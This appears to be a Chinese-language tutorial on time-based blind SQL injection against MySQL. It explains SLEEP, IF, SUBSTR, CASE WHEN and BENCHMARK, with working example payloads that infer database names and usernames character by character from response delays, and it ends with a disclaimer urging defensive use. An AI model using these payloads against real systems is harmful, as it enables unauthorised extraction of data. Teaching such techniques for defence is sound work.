一、基于时间延时的盲注:SLEEP
函数 SLEEP( 数字)
函数使用说明:延迟函数,为真时会延时执行代码,为假则不会执行延时。(数字为整数,例:1就是延迟一秒执行。)
例如:
Select * from 表名 where id=1 and sleep(2);
有这个id=1的内容延迟2秒执行,没有则相反。
二、配合if条件触发
IF(expr1, expr2, expr3)
如果IF(1>2, 真, 假)是true,那它的返回值就是真,如果执行条件是false,执行的条件就是假,具体情况视其所在语句而定。
例如:
Select *from table where id=1 and if(database()=' ',sleep(4), null);
Select *from user where username='a' and if(username='admin',sleep(2), null);
(1)判断数据库是否为空
(2)判断数据库用户名是否为admin。
三、再用上截取函数
substring()和substr()
SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len)
substr(string,start,length)
参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。
substring_index()
substring_index(str,delim,count)
说明: substring_ index(被截取字段,关键字,关键字出现的次数)
例如:
Select *from user where username='a' or if(substr((select username from user where id=1),1,1)='a',sleep(2),0);
四、再配合select case when条件触发
SQL CASE表达式是一种通用的条件表达式,类似于其它语言中的if/else语句。
CASE WHEN condition THEN result
[WHEN...]
[ELSE result]
END
例如:
select case when username="admin THEN 'admin' ELSE 'xxx' end from user;
select case when username="admin THEN 'aaa' ELSE (sleep(3)) end from user;
五、基于时间延时的盲注:逐字注入
能够截取字符串,同时能触发延时即可!
Select *from table Where id =1 and (if(substr(database(),1,1)='u', sleep(3), null));
Select * from table where id= 1 and (if(ascii(substr(database(),1,1))=100, sleep(3), null));
六、基于时间延时的盲注:BENCHMARK
除了sleep之外的时间延时注入,还有:BENCHMARK(count,expr)
BENCHMARK()函数重复 count次执行表达式expr。它可以被用于计算 MYSQL处理表达式的速度。结果值通常为0。
select benchmark(100000000,sha(1));
Select * from table where id= 1 and (if(ascii(substr(database(),1,1))=100,benchmark(100000000,sha(1)), null));
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。